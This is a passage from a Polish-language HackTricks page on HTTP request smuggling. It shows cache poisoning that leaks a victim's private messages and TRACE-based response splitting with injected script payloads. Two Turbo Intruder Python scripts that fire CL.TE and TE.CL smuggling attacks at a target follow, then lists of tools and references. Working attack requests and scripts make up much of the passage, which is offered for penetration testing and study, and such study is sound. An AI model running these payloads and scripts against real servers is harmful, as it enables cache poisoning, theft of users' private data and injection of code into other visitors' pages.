`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 43`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /private/messages HTTP/1.1`\
|
|
`Foo: X`
|
|
```
|
|
Jeśli ten przemycony żądanie zatruje wpis w pamięci podręcznej przeznaczony dla treści statycznej (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą zostać zapisane w pamięci podręcznej pod wpisem dla treści statycznej. W rezultacie atakujący mógłby potencjalnie odzyskać te zapisane wrażliwe dane.
|
|
|
|
### Nadużywanie metody TRACE za pomocą Przemytu Żądań HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
|
|
|
[**W tym poście**](https://portswigger.net/research/trace-desync-attack) sugeruje się, że jeśli serwer ma włączoną metodę TRACE, możliwe byłoby jej nadużycie za pomocą Przemytu Żądań HTTP. Wynika to z faktu, że ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:
|
|
```
|
|
TRACE / HTTP/1.1
|
|
Host: example.com
|
|
XSS: <script>alert("TRACE")</script>
|
|
```
|
|
Wysyła odpowiedź w postaci:
|
|
```
|
|
HTTP/1.1 200 OK
|
|
Content-Type: message/http
|
|
Content-Length: 115
|
|
|
|
TRACE / HTTP/1.1
|
|
Host: vulnerable.com
|
|
XSS: <script>alert("TRACE")</script>
|
|
X-Forwarded-For: xxx.xxx.xxx.xxx
|
|
```
|
|
Przykładem wykorzystania tego zachowania byłoby **przemytanie najpierw żądania HEAD**. Na to żądanie zostaną udzielone jedynie **nagłówki żądania GET** (**`Content-Type`** wśród nich). Następnie przemyć **natychmiast po HEAD żądanie TRACE**, które będzie **odbijać wysłane dane**.\
|
|
Ponieważ odpowiedź HEAD będzie zawierała nagłówek `Content-Length`, **odpowiedź na żądanie TRACE będzie traktowana jako treść odpowiedzi HEAD, co pozwoli na odbicie dowolnych danych** w odpowiedzi. \
|
|
Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, co może być **wykorzystane na przykład w pamięci podręcznej pliku JS do wstrzyknięcia dowolnego kodu JS**.
|
|
|
|
### Wykorzystanie TRACE za pomocą Podziału Odpowiedzi HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
|
|
|
Kontynuując zgodnie z [**tym postem**](https://portswigger.net/research/trace-desync-attack) sugeruje się inną metodę wykorzystania metody TRACE. Jak zauważono, przemycając żądanie HEAD i żądanie TRACE, można **kontrolować pewne odbite dane** w odpowiedzi na żądanie HEAD. Długość treści żądania HEAD jest podana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE.
|
|
|
|
Dlatego nowym pomysłem byłoby to, że znając tę długość Content-Length i dane podane w odpowiedzi TRACE, można sprawić, że odpowiedź TRACE zawiera poprawną odpowiedź HTTP po ostatnim bajcie Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być wykorzystane do wykonania zatrucia pamięci podręcznej).
|
|
|
|
Przykład:
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: example.com
|
|
Content-Length: 360
|
|
|
|
HEAD /smuggled HTTP/1.1
|
|
Host: example.com
|
|
|
|
POST /reflect HTTP/1.1
|
|
Host: example.com
|
|
|
|
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
|
|
Content-Type: text/html\r\n
|
|
Cache-Control: max-age=1000000\r\n
|
|
Content-Length: 44\r\n
|
|
\r\n
|
|
<script>alert("response splitting")</script>
|
|
```
|
|
Wygeneruje te odpowiedzi (zauważ, że odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE staje się częścią ciała HEAD, a gdy Content-Length HEAD się kończy, poprawna odpowiedź HTTP jest przemycona):
|
|
```
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html
|
|
Content-Length: 0
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html
|
|
Content-Length: 165
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/plain
|
|
Content-Length: 243
|
|
|
|
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
|
|
Content-Type: text/html
|
|
Cache-Control: max-age=1000000
|
|
Content-Length: 50
|
|
|
|
<script>alert(“arbitrary response”)</script>
|
|
```
|
|
### Uzbrajanie żądania HTTP Request Smuggling za pomocą Desynchronizacji Odpowiedzi HTTP
|
|
|
|
Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Spróbuj tej innej metody eksploatacji:
|
|
|
|
{% content-ref url="../http-response-smuggling-desync.md" %}
|
|
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Inne Techniki HTTP Request Smuggling
|
|
|
|
* Browser HTTP Request Smuggling (Po stronie klienta)
|
|
|
|
{% content-ref url="browser-http-request-smuggling.md" %}
|
|
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
|
{% endcontent-ref %}
|
|
|
|
* Request Smuggling w Downgrade'ach HTTP/2
|
|
|
|
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
|
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Skrypty Turbo Intruder
|
|
|
|
### CL.TE
|
|
|
|
Z [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=5,
|
|
requestsPerConnection=1,
|
|
resumeSSL=False,
|
|
timeout=10,
|
|
pipeline=False,
|
|
maxRetriesPerRequest=0,
|
|
engine=Engine.THREADED,
|
|
)
|
|
engine.start()
|
|
|
|
attack = '''POST / HTTP/1.1
|
|
Transfer-Encoding: chunked
|
|
Host: xxx.com
|
|
Content-Length: 35
|
|
Foo: bar
|
|
|
|
0
|
|
|
|
GET /admin7 HTTP/1.1
|
|
X-Foo: k'''
|
|
|
|
engine.queue(attack)
|
|
|
|
victim = '''GET / HTTP/1.1
|
|
Host: xxx.com
|
|
|
|
'''
|
|
for i in range(14):
|
|
engine.queue(victim)
|
|
time.sleep(0.05)
|
|
|
|
def handleResponse(req, interesting):
|
|
table.add(req)
|
|
```
|
|
### TE.CL
|
|
|
|
Z: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=5,
|
|
requestsPerConnection=1,
|
|
resumeSSL=False,
|
|
timeout=10,
|
|
pipeline=False,
|
|
maxRetriesPerRequest=0,
|
|
engine=Engine.THREADED,
|
|
)
|
|
engine.start()
|
|
|
|
attack = '''POST / HTTP/1.1
|
|
Host: xxx.com
|
|
Content-Length: 4
|
|
Transfer-Encoding : chunked
|
|
|
|
46
|
|
POST /nothing HTTP/1.1
|
|
Host: xxx.com
|
|
Content-Length: 15
|
|
|
|
kk
|
|
0
|
|
|
|
'''
|
|
engine.queue(attack)
|
|
|
|
victim = '''GET / HTTP/1.1
|
|
Host: xxx.com
|
|
|
|
'''
|
|
for i in range(14):
|
|
engine.queue(victim)
|
|
time.sleep(0.05)
|
|
|
|
|
|
def handleResponse(req, interesting):
|
|
table.add(req)
|
|
```
|
|
## Narzędzia
|
|
|
|
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
|
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
|
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
|
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
|
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
|
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie jest gramatycznie opartym Fuzzerem HTTP przydatnym do znajdowania dziwnych rozbieżności w żądaniach żądania.
|
|
|
|
## Odnośniki
|
|
|
|
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
|
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
|
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
|
|
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
|
|
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
|
|
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
|
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
|
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|